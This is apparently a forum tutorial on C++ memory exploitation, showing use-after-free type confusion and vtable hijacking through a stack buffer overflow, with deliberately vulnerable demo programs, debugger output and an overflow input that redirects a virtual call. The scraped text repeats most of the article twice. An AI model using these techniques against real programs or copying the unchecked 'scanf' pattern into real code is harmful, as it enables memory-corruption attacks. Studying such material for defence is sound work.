- Joined
- 21 May 2026
- Messages
- 4
- Reaction score
- 6
- Points
- 3
Introduction
Every high-level language includes built-in mechanisms designed to simplify programming. C++ provides numerous ready-made solutions that programmers typically use without understanding their internal workings—not because the source code is proprietary, but simply because there's usually no need to know. While some experienced developers may be aware of certain internal details, the vast majority remain unaware that these solutions can become attack vectors.
The terms "bug" and "vulnerability" are closely related concepts. A bug becomes a vulnerability when it enables an attacker to interact with internal structures. Whether these structures were created by programmers, are part of the language's design, or are managed by the kernel, exposing them through bugs always leads to security issues. C++ contains numerous hidden internal structures, and this article explores them in detail.
The examples provided are simplified demonstrations rather than real-world scenarios, as actual vulnerabilities are significantly more complex. This article aims to help readers understand C++'s internal workings, how attackers can exploit these mechanisms to compromise programs, and how to bypass C++-specific security measures.
UAF
Before diving into C++ structures, I would like to show you some examples of objects type confusion without involving complex bugs.
Use After Free (UAF) type of attacks are based on glibc heap management mechanisms. I will suggest you read Heap Exploitation For Dummies (Part 1) before moving on.
(Note that there are no virtual tables here, since there are no virtual functions or inheritance. This is simply an example of type confusion with UAF)
UAF vulnerabilities can create many attack surfaces, but all of them use the same pattern:
Allocate other entity with similar size to inject it in dangling pointer
Reuse the dangling pointer
#include <iostream>
class Victim {
public:
std::string data;
void greet() {
std::cout << "Victim says: " << data << std::endl;
}
};
class Attacker {
public:
std::string data;
void evil() {
std::cout << "Attacker says: " << data << std::endl;
}
};
int main() {
Victim* a = new Victim();
a->data = "Hello from A";
std::cout << "Address of Victim: " << a << std::endl;
std::cout << "Executing a->greet()..." << std:: endl;
a->greet();
std::cout << "Deleting Victim..." << std::endl;
delete a;
Attacker* b = new Attacker();
b->data = "UAF";
std::cout << "Address of Attacker: " << b << std::endl;
std::cout << "Executing a->greet()..." << std:: endl;
a->greet();
delete b;
}
What virtual table is
Virtual table overview
A virtual table (Vtable) is a data structure containing the addresses of virtual functions, which are added by the compiler during the compilation phase. This is how polymorphism is implemented in C++. Whenever a class contains a virtual function, the compiler creates a Vtable for that class and adds a pointer to this table (Vptr) to each object.
For instance:
Or
Virtual tables hijacking
“Vtable Hijacking” is an exploit technique based on overwriting the vptr or modifying the vtable itself. This can be achieved in various ways: buffer overflow, arbitrary write, heap spray, etc. Let’s look at an example involving a stack buffer overflow.
This example will be demonstrated in an environment without any security measures. That is, without ASLR, PIE, and CFI, compiled using GCC.
I'm gonna help you here to make thinks easier, but don't get used to that.
Address of super user vtable: 0x555555755d50
AAAAAAAAAAAAAAAAP]uUUU
Compiler can resolve function pointers staticly, so to ensure that we gonna call function from vtable, I will use our base object for that
It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.
As you can see, we’re overwriting the vptr using a stack overflow, and now our regular user will act like a superuser in certain cases.
There are various ways to hijack the vtable: by creating a fake vtable, overwriting the vptr with an arbitrary file, overwriting the function pointers in the vtable, and so on.
I hope you learned something. Part 2 will be posted very soon.
Every high-level language includes built-in mechanisms designed to simplify programming. C++ provides numerous ready-made solutions that programmers typically use without understanding their internal workings—not because the source code is proprietary, but simply because there's usually no need to know. While some experienced developers may be aware of certain internal details, the vast majority remain unaware that these solutions can become attack vectors.
The terms "bug" and "vulnerability" are closely related concepts. A bug becomes a vulnerability when it enables an attacker to interact with internal structures. Whether these structures were created by programmers, are part of the language's design, or are managed by the kernel, exposing them through bugs always leads to security issues. C++ contains numerous hidden internal structures, and this article explores them in detail.
The examples provided are simplified demonstrations rather than real-world scenarios, as actual vulnerabilities are significantly more complex. This article aims to help readers understand C++'s internal workings, how attackers can exploit these mechanisms to compromise programs, and how to bypass C++-specific security measures.
UAF
Before diving into C++ structures, I would like to show you some examples of objects type confusion without involving complex bugs.
Use After Free (UAF) type of attacks are based on glibc heap management mechanisms. I will suggest you read Heap Exploitation For Dummies (Part 1) before moving on.
(Note that there are no virtual tables here, since there are no virtual functions or inheritance. This is simply an example of type confusion with UAF)
UAF vulnerabilities can create many attack surfaces, but all of them use the same pattern:
Allocate other entity with similar size to inject it in dangling pointer
Reuse the dangling pointer
#include <iostream>
class Victim {
public:
std::string data;
void greet() {
std::cout << "Victim says: " << data << std::endl;
}
};
class Attacker {
public:
std::string data;
void evil() {
std::cout << "Attacker says: " << data << std::endl;
}
};
int main() {
Victim* a = new Victim();
a->data = "Hello from A";
std::cout << "Address of Victim: " << a << std::endl;
std::cout << "Executing a->greet()..." << std:: endl;
a->greet();
std::cout << "Deleting Victim..." << std::endl;
delete a;
Attacker* b = new Attacker();
b->data = "UAF";
std::cout << "Address of Attacker: " << b << std::endl;
std::cout << "Executing a->greet()..." << std:: endl;
a->greet();
delete b;
}
What virtual table is
Virtual table overview
A virtual table (Vtable) is a data structure containing the addresses of virtual functions, which are added by the compiler during the compilation phase. This is how polymorphism is implemented in C++. Whenever a class contains a virtual function, the compiler creates a Vtable for that class and adds a pointer to this table (Vptr) to each object.
For instance:
Code:
class Base
{
public:
virtual void function1() {};
virtual void function2() {};
};
class D1: public Base
{
public:
void function1() override {};
};
class D2: public Base
{
public:
void function2() override {};
};
Now the compiler will add a pointer to the virtual table at the beginning of each class.
Virtual table layout
Of course, virtual tables contain more than just pointers to functions.
This, how virtual table looks like inside in example of Base class described above:
Value Usage
top_offset Used in multi inheritance
typeinfo for Base Contains information about the object to determine its type
Pointer to virtual function1() Contains address of Base class function1() virtual method
Pointer to virtual function2() Contains address of Base class function2() virtual method
As I mentioned earlier, RTTI requires information about an object in order to determine its type. This is exactly what typeinfo does. You can see what’s inside typeinfo here.
Exploiting virtual tables
Finding virtual tables
There are two ways to find the vtable: static and dynamic.
The first method assumes that the binary file has not been stripped. In this case, you can easily determine the vtable offset. Simply use the command nm -C binary_file_name | grep vtable. You will see the vtable location for each polymorphic class.
[code]
nm -C ./a.out | grep vtable
0000000000003d68 V vtable for Foo
0000000000003d50 V vtable for FooBar
U vtable for __cxxabiv1::__class_type_info@CXXABI_1.3
U vtable for __cxxabiv1::__si_class_type_info@CXXABI_1.3
Code:
gdb-peda$ p *(void **)&normal
$1 = (void *) 0x555555755d68 <vtable for NormalUser+16>
gdb-peda$
Or
Code:
gdb-peda$ p &normal
$2 = (NormalUser *) 0x7fffffffe590
gdb-peda$ x/gx &normal
0x7fffffffe590: 0x0000555555755d68 <- THIS, IS OUR VTABLE
gdb-peda$
Virtual tables hijacking
“Vtable Hijacking” is an exploit technique based on overwriting the vptr or modifying the vtable itself. This can be achieved in various ways: buffer overflow, arbitrary write, heap spray, etc. Let’s look at an example involving a stack buffer overflow.
This example will be demonstrated in an environment without any security measures. That is, without ASLR, PIE, and CFI, compiled using GCC.
Code:
#include <iostream>
#include <cstdio>
#include <unistd.h>
class User
{
public:
virtual void function(void)
{
std::cout << "This is a function. Every user have it" << std::endl;
}
};
class NormalUser : public User
{
public:
virtual void function(void)
{
std::cout << "I'm a normal user. I'm pretty ordinary." << std::endl;
}
};
class SuperUser : public User
{
public:
virtual void function(void)
{
system("echo \"It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.\"");
}
};
int main()
{
SuperUser super;
NormalUser normal;
char bad_boy_buffer[16];
std::cout << "I'm gonna help you here to make thinks easier, but don't get used to that." << std::endl;
void *super_vtable = *((void **)&super);
printf("Address of super user vtable: %p\n", super_vtable);
scanf("%s", bad_boy_buffer);
std::cout << "Compiler can resolve function pointers staticly, so to ensure that we gonna call function() from vtable, I will use our base object for that" << std::endl;
std::cout << std::endl << "User *u = &normal;" << std::endl;
std::cout << "u->function();" << std::endl;
User *u = &normal;
u->function();
}
I'm gonna help you here to make thinks easier, but don't get used to that.
Address of super user vtable: 0x555555755d50
AAAAAAAAAAAAAAAAP]uUUU
Compiler can resolve function pointers staticly, so to ensure that we gonna call function from vtable, I will use our base object for that
Code:
User *u = &normal;
u->function();
It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.
As you can see, we’re overwriting the vptr using a stack overflow, and now our regular user will act like a superuser in certain cases.
There are various ways to hijack the vtable: by creating a fake vtable, overwriting the vptr with an arbitrary file, overwriting the function pointers in the vtable, and so on.
I hope you learned something. Part 2 will be posted very soon.
